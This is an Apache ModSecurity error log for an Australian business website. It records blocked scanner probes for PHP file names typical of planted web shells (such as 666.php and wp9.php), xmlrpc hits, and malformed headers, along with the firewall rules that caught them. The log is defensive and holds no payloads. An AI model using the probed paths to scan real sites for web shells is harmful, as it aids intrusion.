[Mon Mar 02 04:28:54.073058 2026] [:error] [pid 28794:tid 28844] [client 20.104.124.39:37847] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/up4.php"] [unique_id "aaShhqVy2qpaelbUob3rBQAAAEg"]
[Mon Mar 02 04:28:54.820191 2026] [:error] [pid 28908:tid 28921] [client 20.104.124.39:37614] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/up4.php"] [unique_id "aaShhoqJmC8ih_lQQnC8qQAAAMs"]
[Mon Mar 02 04:28:55.416688 2026] [:error] [pid 28908:tid 28929] [client 20.104.124.39:37581] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/1aa.php"] [unique_id "aaShh4qJmC8ih_lQQnC8rAAAANM"]
[Mon Mar 02 04:28:55.863906 2026] [:error] [pid 28794:tid 28836] [client 20.104.124.39:37796] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/1aa.php"] [unique_id "aaShh6Vy2qpaelbUob3rCAAAAEA"]
[Mon Mar 02 04:28:56.360484 2026] [:error] [pid 28795:tid 28874] [client 20.104.124.39:37832] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/1aa.php"] [unique_id "aaShiLROd53wZBkdI_fsQwAAAIs"]
[Mon Mar 02 04:28:57.161975 2026] [:error] [pid 28793:tid 28822] [client 20.104.124.39:37761] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/1aa.php"] [unique_id "aaShiQ2_fxBANaHo1f7vYwAAAA8"]
[Mon Mar 02 04:28:58.600693 2026] [:error] [pid 28793:tid 28817] [client 20.104.124.39:37839] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/elp.php"] [unique_id "aaShig2_fxBANaHo1f7vZwAAAAo"]
[Mon Mar 02 04:28:59.221445 2026] [:error] [pid 28908:tid 28932] [client 20.104.124.39:37874] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/elp.php"] [unique_id "aaShi4qJmC8ih_lQQnC8uQAAANY"]
[Mon Mar 02 04:29:00.163491 2026] [:error] [pid 28794:tid 28840] [client 20.104.124.39:37767] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/elp.php"] [unique_id "aaShjKVy2qpaelbUob3rFgAAAEQ"]
[Mon Mar 02 04:29:00.728743 2026] [:error] [pid 31257:tid 31268] [client 20.104.124.39:37631] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/elp.php"] [unique_id "aaShjP-JFLfishX45N_bKAAAAQU"]
[Mon Mar 02 04:29:01.289056 2026] [:error] [pid 28908:tid 28924] [client 20.104.124.39:37769] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wtz.php"] [unique_id "aaShjYqJmC8ih_lQQnC8vwAAAM4"]
[Mon Mar 02 04:29:01.836547 2026] [:error] [pid 28908:tid 28916] [client 20.104.124.39:37835] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wtz.php"] [unique_id "aaShjYqJmC8ih_lQQnC8wgAAAMY"]
[Mon Mar 02 04:29:02.841978 2026] [:error] [pid 28795:tid 28871] [client 20.104.124.39:37872] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wtz.php"] [unique_id "aaShjrROd53wZBkdI_fsVwAAAIg"]
[Mon Mar 02 04:29:03.299242 2026] [:error] [pid 28795:tid 28875] [client 20.104.124.39:37875] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wtz.php"] [unique_id "aaShj7ROd53wZBkdI_fsWgAAAIw"]
[Mon Mar 02 04:29:03.781874 2026] [:error] [pid 28795:tid 28864] [client 20.104.124.39:37514] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/galex.php"] [unique_id "aaShj7ROd53wZBkdI_fsWwAAAIE"]
[Mon Mar 02 04:29:04.599203 2026] [:error] [pid 28795:tid 28872] [client 20.104.124.39:37799] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/galex.php"] [unique_id "aaShkLROd53wZBkdI_fsYwAAAIk"]
[Mon Mar 02 04:29:05.274859 2026] [:error] [pid 28795:tid 28886] [client 20.104.124.39:37853] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/galex.php"] [unique_id "aaShkbROd53wZBkdI_fsZQAAAJc"]
[Mon Mar 02 04:29:05.689706 2026] [:error] [pid 31257:tid 31279] [client 20.104.124.39:37848] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/galex.php"] [unique_id "aaShkf-JFLfishX45N_bLwAAARA"]
[Mon Mar 02 04:29:06.395516 2026] [:error] [pid 28794:tid 28839] [client 20.104.124.39:37774] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xb.php"] [unique_id "aaShkqVy2qpaelbUob3rMAAAAEM"]
[Mon Mar 02 04:29:07.109356 2026] [:error] [pid 28795:tid 28871] [client 20.104.124.39:37531] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xb.php"] [unique_id "aaShk7ROd53wZBkdI_fsawAAAIg"]
[Mon Mar 02 04:29:07.709598 2026] [:error] [pid 28795:tid 28882] [client 20.104.124.39:37513] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xb.php"] [unique_id "aaShk7ROd53wZBkdI_fsbQAAAJM"]
[Mon Mar 02 04:29:08.295075 2026] [:error] [pid 31257:tid 31267] [client 20.104.124.39:37871] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xb.php"] [unique_id "aaShlP-JFLfishX45N_bNQAAAQQ"]
[Mon Mar 02 04:29:08.733304 2026] [:error] [pid 28793:tid 28818] [client 20.104.124.39:37685] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ova.php"] [unique_id "aaShlA2_fxBANaHo1f7vcgAAAAs"]
[Mon Mar 02 04:29:09.423542 2026] [:error] [pid 31257:tid 31278] [client 20.104.124.39:37828] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ova.php"] [unique_id "aaShlf-JFLfishX45N_bPQAAAQ8"]
[Mon Mar 02 04:29:09.991649 2026] [:error] [pid 31257:tid 31271] [client 20.104.124.39:37679] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ova.php"] [unique_id "aaShlf-JFLfishX45N_bQAAAAQg"]
[Mon Mar 02 04:29:10.655914 2026] [:error] [pid 28793:tid 28820] [client 20.104.124.39:37542] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ova.php"] [unique_id "aaShlg2_fxBANaHo1f7vdQAAAA0"]
[Mon Mar 02 04:29:11.437685 2026] [:error] [pid 28908:tid 28928] [client 20.104.124.39:37824] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/vx.php"] [unique_id "aaShl4qJmC8ih_lQQnC84wAAANI"]
[Mon Mar 02 04:29:12.298320 2026] [:error] [pid 31257:tid 31286] [client 20.104.124.39:37504] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/vx.php"] [unique_id "aaShmP-JFLfishX45N_bTwAAARc"]
[Mon Mar 02 04:29:13.160979 2026] [:error] [pid 28793:tid 28829] [client 20.104.124.39:37508] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/vx.php"] [unique_id "aaShmQ2_fxBANaHo1f7vdwAAABY"]
[Mon Mar 02 04:29:14.074163 2026] [:error] [pid 28795:tid 28886] [client 20.104.124.39:37837] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/vx.php"] [unique_id "aaShmrROd53wZBkdI_fsfAAAAJc"]
[Mon Mar 02 04:29:15.046457 2026] [:error] [pid 28793:tid 28823] [client 20.104.124.39:37778] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/rh.php"] [unique_id "aaShmw2_fxBANaHo1f7veQAAABA"]
[Mon Mar 02 04:29:16.391324 2026] [:error] [pid 28793:tid 28831] [client 20.104.124.39:37566] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/rh.php"] [unique_id "aaShnA2_fxBANaHo1f7vegAAABg"]
[Mon Mar 02 04:29:17.958147 2026] [:error] [pid 31257:tid 31280] [client 20.104.124.39:37575] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/rh.php"] [unique_id "aaShnf-JFLfishX45N_bZwAAARE"]
[Mon Mar 02 04:29:19.407929 2026] [:error] [pid 28908:tid 28922] [client 20.104.124.39:37579] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/rh.php"] [unique_id "aaShn4qJmC8ih_lQQnC9AAAAAMw"]
[Mon Mar 02 04:50:49.456317 2026] [:error] [pid 28908:tid 28928] [client 216.73.216.146:24540] [client 216.73.216.146] ModSecurity: Warning. Pattern match "^$" at REQUEST_HEADERS:user-agent. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "120"] [id "217240"] [rev "3"] [msg "COMODO WAF: Empty User Agent Header||measureyourbrand.com.au|F|5"] [data "REQUEST_HEADERS:user-agent="] [severity "NOTICE"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/robots.txt"] [unique_id "aaSmqYqJmC8ih_lQQnDOXgAAANI"]
[Mon Mar 02 06:07:34.707604 2026] [:error] [pid 31257:tid 31263] [client 20.214.137.177:19194] [client 20.214.137.177] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 20.214.137.177, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "aaS4pv-JFLfishX45N9N7AAAAQA"]
[Mon Mar 02 06:07:35.765963 2026] [:error] [pid 31257:tid 31278] [client 20.214.137.177:19194] [client 20.214.137.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/autoload_classmap.php"] [unique_id "aaS4p_-JFLfishX45N9N-QAAAQ8"]
[Mon Mar 02 06:07:36.324694 2026] [:error] [pid 28795:tid 28881] [client 20.214.137.177:3118] [client 20.214.137.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/autoload_classmap.php"] [unique_id "aaS4qLROd53wZBkdI_cq6wAAAJI"]
[Mon Mar 02 06:07:36.880448 2026] [:error] [pid 28908:tid 28934] [client 20.214.137.177:28367] [client 20.214.137.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/autoload_classmap.php"] [unique_id "aaS4qIqJmC8ih_lQQnAT-gAAANg"]
[Mon Mar 02 06:07:37.474756 2026] [:error] [pid 31257:tid 31269] [client 20.214.137.177:19161] [client 20.214.137.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/autoload_classmap.php"] [unique_id "aaS4qf-JFLfishX45N9N-wAAAQY"]
[Mon Mar 02 08:15:42.926167 2026] [:error] [pid 31257:tid 31285] [client 43.166.255.102:51400] [client 43.166.255.102] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aaTWrv-JFLfishX45N-5EQAAARY"]
[Mon Mar 02 08:45:27.778802 2026] [:error] [pid 28793:tid 28830] [client 40.80.89.74:7863] [client 40.80.89.74] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/randkeyword.PhP7"] [unique_id "aaTdpw2_fxBANaHo1f5BcAAAABc"]
[Mon Mar 02 08:45:28.346818 2026] [:error] [pid 28908:tid 28915] [client 40.80.89.74:7833] [client 40.80.89.74] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/randkeyword.PhP7"] [unique_id "aaTdqIqJmC8ih_lQQnDW8QAAAMU"]
[Mon Mar 02 08:45:28.911931 2026] [:error] [pid 31257:tid 31269] [client 40.80.89.74:11202] [client 40.80.89.74] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/randkeyword.PhP7"] [unique_id "aaTdqP-JFLfishX45N_SmAAAAQY"]
[Mon Mar 02 08:45:29.466042 2026] [:error] [pid 31257:tid 31279] [client 40.80.89.74:7835] [client 40.80.89.74] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/randkeyword.PhP7"] [unique_id "aaTdqf-JFLfishX45N_SnAAAARA"]
[Mon Mar 02 09:10:09.014441 2026] [:error] [pid 23872:tid 23879] [client 20.53.243.118:33341] [client 20.53.243.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/666.php"] [unique_id "aaTjcUzkQFuA2qBk8UNO6gAAAYQ"]
[Mon Mar 02 09:10:09.104455 2026] [:error] [pid 23872:tid 23876] [client 20.53.243.118:4561] [client 20.53.243.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/666.php"] [unique_id "aaTjcUzkQFuA2qBk8UNO7AAAAYE"]
[Mon Mar 02 09:10:09.167762 2026] [:error] [pid 23872:tid 23881] [client 20.53.243.118:33844] [client 20.53.243.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/666.php"] [unique_id "aaTjcUzkQFuA2qBk8UNO7gAAAYY"]
[Mon Mar 02 09:10:09.230160 2026] [:error] [pid 23872:tid 23896] [client 20.53.243.118:30453] [client 20.53.243.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/666.php"] [unique_id "aaTjcUzkQFuA2qBk8UNO7wAAAZU"]
[Mon Mar 02 09:21:29.281327 2026] [:error] [pid 28793:tid 28815] [client 43.153.86.78:56114] [client 43.153.86.78] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aaTmGQ2_fxBANaHo1f5IOQAAAAg"]
[Mon Mar 02 09:29:09.428293 2026] [:error] [pid 31257:tid 31282] [client 182.44.10.67:37806] [client 182.44.10.67] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aaTn5f-JFLfishX45N_7-wAAARM"]
[Mon Mar 02 10:58:52.643331 2026] [:error] [pid 23872:tid 23896] [client 172.190.142.176:10007] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp9.php"] [unique_id "aaT87EzkQFuA2qBk8UPSBQAAAZU"]
[Mon Mar 02 10:58:53.122272 2026] [:error] [pid 28794:tid 28841] [client 172.190.142.176:15732] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp9.php"] [unique_id "aaT87aVy2qpaelbUob15RwAAAEU"]
[Mon Mar 02 10:58:53.545111 2026] [:error] [pid 31257:tid 31276] [client 172.190.142.176:24818] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp9.php"] [unique_id "aaT87f-JFLfishX45N9CxwAAAQ0"]
[Mon Mar 02 10:58:54.046280 2026] [:error] [pid 23872:tid 23890] [client 172.190.142.176:24826] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp9.php"] [unique_id "aaT87kzkQFuA2qBk8UPSCwAAAY8"]
